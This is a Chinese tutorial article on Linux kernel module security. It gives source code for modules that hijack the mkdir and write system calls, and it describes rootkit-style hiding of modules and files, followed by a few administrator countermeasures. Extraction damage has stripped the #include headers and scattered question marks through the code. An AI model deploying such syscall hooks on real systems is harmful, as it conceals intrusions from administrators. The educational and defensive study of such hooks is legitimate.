Linux 内核安全
?
关键字:LKM, module, hacking ?????????????????????????
强化001班?? 李群
Linux内核是作为Monolithic architecture (单内核体系结构) 而实现的,为了获得 Microkernel architecture (微内核体系结构) 带来的可扩展性和可维护性,Linux 引入了模块 (module) 机制,(比较准确的说法是 Loadable Kernel Module, 可装载内核模块),藉此来保证内核的紧凑性和Linux本身固有的单一体系结构的优点——上下文切换速度快。
在Linux中,用户(通常需要root权限)通过modutils软件包中提供的工具,动态地将模块(如网络驱动等)插入、移出内核。这样,内核的功能可以动态地添加和删除,却不需要每次都经过冗长的关机/重启过程。因为模块运行的环境是内核,因而它具有内核特权,模块编程也就是内核编程,它是Linux Kernel Hacking 的主要工具。
本文讲述在Linux下,如何通过module 来拦截系统调用,以及Kernel Hacking 的一些防范手段。
Linux通过int 0x80 软中断实现系统调用。系统调用列表在Linux自举时通过init_IRQ( ) 调用宏 set_intr_gate 初始化。当系统调用发生时,内核检查系统调用的有效性,然后将控制权转给实际的系统调用代码。系统调用表 sys_call_table[] 可以在文件 entry.S 中找到。它看起来应该如下所示:
… …
ENTRY (sys_call_table)
? .long SYMBOL_NAME (sys_ni_syscall)?? /* …… */
? ?.long SYMBOL_NAME (sys_exit)
? ?.long SYMBOL_NAME (sys_fork)
? .long SYMBOL_NAME (sys_read)
… …
文件unistd.h 为每个系统调用规定了唯一的编号,它看起来应该如下所示:
… …
#define __NR_exit???? 1
#define __NR_fork? 2
#define __NR_read? 3
… …
不难看出,每个系统调用所对应的编号正是该系统调用在指向函数的指针数组sys_call_table[]中的下标。内核检查%eax的有效性,sys_call_table[%eax]便是用户要求的系统调用的入口指针。那么,怎样才能拦截系统调用呢?很简单,只要将sys_call_table[]中对应的入口指针替换成我们自己的函数指针即可。
好了,有了上述知识,现在可以进行编程了。作为最简单的例子,我们可以试着拦截mkdir()系统调用。
?
/*
*hack_mkdir.c ?????????????? David?? 2003-4-19
*It shows how to intercept a system call.
*/
#include ?? /*编译模块必需的头文件*/
#include
#include ?extern void *sys_call_table [];int (*origin_mkdir) (const char *); /*用于保存旧的系统调用*/?int hacked_mkdir(const char *pathname) /*新的系统调用*/{? return 0;}?int init_module()???? /*模块入口点,初始化时调用*/{?? origin_mkdir=sys_call_table [__NR_mkdir]; /*保存旧系统调用*/?? sys_call_table [__NR_mkdir] = hacked_mkdir;??????????????????????????????????? /*替换成新系统调用*/?? return 0;}?void cleanup_module()? /*模块入口点,卸载前调用*/{?? sys_call_table [__NR_mkdir] = origin_mkdir; /*复位旧系统调用*/}?应用程序从main( )开始执行单个任务,而模块却只是预先注册自己以服务于将来的某个请求。插入模块时,内核调用init_module( )初始化模块;移除模块时,内核调用cleanup_module( )做一些善后工作。如上代码所示,我们将mkdir( )系统调用换成了新的调用hacked_mkdir( ),事实上它只是一个空函数。为了编译上面的模块,我们写个Makefile文件如下:#please modify it according to your own systemKERNELDIR=/usr/src/linux-2.4?CFLAGS=-D__KERNEL__ -DMODULE -I$(KERNELDIR)/include \-O -Wall?include $(KERNELDIR)/configs/kernel-2.4.18-i686.config?ifdef CONFIG_SMP?? CFLAGS+=-D__SMP__ -DSMPendif?all: hack_mkdir.o?clean:?? rm -f *.o *~ core不要忘记rm前有个Tab键。好了,在终端下敲入make,你会发现当前文件夹下多了个文件hack_mkdir.o,这就是编译好的模块。#/sbin/insmod hack_mkdir.owarnning:it will taint the kernel.#mkdir test#lshack_mkdir.c ?hack_mkdir.o? Makefile你会发现test文件夹根本就没有建立,而可怕的是系统根本就没有任何出错信息!原因很简单,因为实际的mkdir( )已经被替换成了hacked_mkdir( ),而且的它返回值是0,系统误以为它正确地建立了文件夹。#/sbin/rmmod hack_mkdir#mkdir test#lshack_mkdir.c? hack_mkdir.o? Makefile? test移除模块后,原有的mkdir( )系统调用得以复位,因而系统正确地建立了文件夹test。由此我们可以看到Kernel Hacking的威力!如果一个系统的内核被入侵,其后果是相当严重的。“正如运输界有泰坦尼克等事故一样,计算机安全专家往往也容易忽略某些细节(Andrew S. Tanenbaum)。”而LKM由于其极强的隐蔽性和强大的功能,备受Linux Kernel Hackers的喜爱。所以,系统管理员绝对不能轻易地将网络上下载的模块插入到内核,因为这样做无疑等于给了入侵者root权限。在系统安全性极其重要的情况下,我们应该只相信源代码,自己手工将经过检查的源代码编译为模块。事实上,上面的模块除了用于演示之外,基本没有任何实际用途,因为几乎任何系统管理员都可以发现这个mkdir( )异常,并且找出错误的根源。只要他/她输入/sbin/lsmod命令,就会得到如下输出:hack_mkdir??? 8192??? 0(unused) 因而系统管理员就会知道是hack_mkdir模块搞的鬼,因而他/她可以跟踪其来源,并排除系统漏洞。下面,我们将隐藏文件中的特定内容,比如/proc/modules中的“hack_mkdir”。首先,我们应该知道/sbin/lsmod其实就是输出了/proc/modules中的内容,此外,输出文件中的内容需要write( )系统调用,如果您不知道某个command进行了哪些系统调用,没关系,我们可以用strace系统程式来跟踪command运行时进行的系统调用。比如,向终端写字符串“this is a test”。?#strace echo “this is a test”… …write (1, "this is a test\n", 15)?????? ?= 15munmap (0x40056000, 4096)??????????????? ??= 0_exit (0)?????????????????????????????? ??????= ??由此可以看出向终端写字符串“this is a test”调用了write( ),其中1代表stdout,返回值15是字符串的长度。/**hack_write.c???????????????? David???? 2003-4-19*The modules shows how to hack system call write ( ) in order *that we can hide the special message in the file.*/?#include #include #include #include ??? /*for kmalloc() & kfree() */#include /*for strncpy_from_user() */#include #include ?extern void* sys_call_table[];extern void kfree(const void *);extern void* kmalloc(size_t, int);extern char* strstr(const char *,const char *);extern __kernel_size_t strlen(const char *);extern long strncpy_from_user(char *,const char *,long );??int (*origin_write)(unsigned int,char*,unsigned int);???????????????????????? /*用于保存旧系统调用*/int hacked_write(unsigned int fd,char* buf,unsigned int count){? char *kernel_buf;? char hide_buf[]="hack_mkdir";/*我们想隐藏的信息*/? kernel_buf= (char*) kmalloc (1024, GFP_KERNEL); /*获取内核空闲页,Get Free Page*/? strncpy_from_user (kernel_buf, buf, 1023); /*跨空间传输*/? if(strstr(kernel_buf,(char *)&hide_buf)!=NULL){??? kfree (kernel_buf);??? return strlen(hide_buf);/*告诉内核已经写了strlen(hide_buf)个字符*/? }? else{???????????? /*不是需要隐藏的信息*/??? kfree (kernel_buf);??? return origin_write(fd,buf,count); /*返回正常调用结果*/? }}?int init_module(){? origin_write=sys_call_table [__NR_write];? sys_call_table [__NR_write] =hacked_write;? return 0;}?void cleanup_module(){? sys_call_table [__NR_write] =origin_write;}?或许有人会问,模块中为什么要进行跨空间传输呢?这里,有两个很重要的概念就是“内核空间地址”和“用户空间地址”。内核空间地址和用户空间地址之间很大的一个差异就是,用户空间的内存是可被换出的。当内核访问用户空间指针时,相对应的页面可能已经不在内存中了,这样的话就会产生一个页面失效。在Linux中,跨空间的拷贝是由一些特定的函数完成的,它们在中定义。函数strncpy_from_user( )的作用并不限于在内核空间和用户空间之间拷贝数据,它还会检查用户空间的指针是否有效。值得注意的是,访问用户空间的任何函数(如hacked_write( ))都必须是可重入的,并且必须能和模块里的其他函数并发执行。可重入代码(reentrant code)是指这样的代码:其中不使用任何全局变量来记录状态信息,因而可以处理交织的调用,而不会造成混淆。如果所有状态信息都是进程特定的,就不会发生冲突。在单处理器的Linux系统中,运行内核代码的进程是非抢占式的,Linux只能做用户抢先(原因很简单,因为Linus不信任内核抢先)。上面的代码可以正常工作。将Makefile中的all:hack_mkdir.o改为all:hack_write.o便得到我们需要的Makefile。将hack_mkdir.o插入内核后,再将该模块插入内核,运行/sbin/lsmod,你会发现没有类似“hack_mkdir??????? 8192? 0(unused)”的字段,只不过多了一段有关hack_write的信息。很简单,只要将上面两个模块合二为一,我们便能隐藏我们的模块信息了。不过,系统管理员还是可以通过ls看到你的源文件、目标模块,当然我们也可以隐藏整个文件夹,拦截什么调用?getdents( )。但是,系统管理员仍然可以通过cat /xxdir/xxfilename直接输出文件内容,怎么办?拦截read( )。打不开文件,哪里还谈得上输出其内容呢?LKM可以做很多很多事情,只要你有足够的想象力。然而LKM并不意味着系统管理员的末日。系统管理员也可以利用LKM更轻松地管理、监视系统。1)??? 在insmod时检查特定的命令行标志信息。这个信息可以用于标识用户的合法性。如在模块中加入:?? char key[32]=””;MODULE_PARM (key,”s”);???????? /*声明key为字符串型*/int init_module(){? if(!strcmp(key,”root_key”)){… …;????????????????????? /*合法时运行的代码*/}else{printk(KERN_ALERT “Alert message.\n”);/*报警*/return -1;}return 0;}2)??????? 插入模块时,检查用户的gid、uid等。我们可以通过 #include ,来引用current指针,current指向当前进程的PCB,而current-uid,current-gid便是当前进程的用户标识和用户组标识。root 的uid是0,而普通用户的uid一般不小于500。3)?????? 限定模块只能从特定的目录插入内核,比如/root目录。因为hackers不知道这一限制,所以擅自插入模块将引起系统报警。4)?????? 更高级的方法:添加用于保护内核的代码,然后重新编译内核,使之具有较强的安全防范能力。具体方法可以参考Moshe Bar的《Linux技术内幕》。?最后,我想说明,Linux是一个能带给人乐趣的系统,而LKM方面的攻防都涉及了大量的内核源代码和操作系统方面的知识。Linux Kernel Hacking 也成了Linux社区和Linux Kernel Mail List里最热门的话题。要想使系统的安全性得到保证,只有不断学习、探讨、研究,并亲自动手实践。也只有这样,才能领略到其中无穷的乐趣。请记住:Linux安全,从内核作起。本文中所有代码均在RedHat 7.3中测试通过。??????[参考书目]《Linux技术内幕》 Moshe Bar 著,清华大学出版社《Linux设备驱动程序》 Rubini &Corbet 著,中国电力出版社《Linux内核2.4版源代码分析大全》李善平等著 机械工业出版社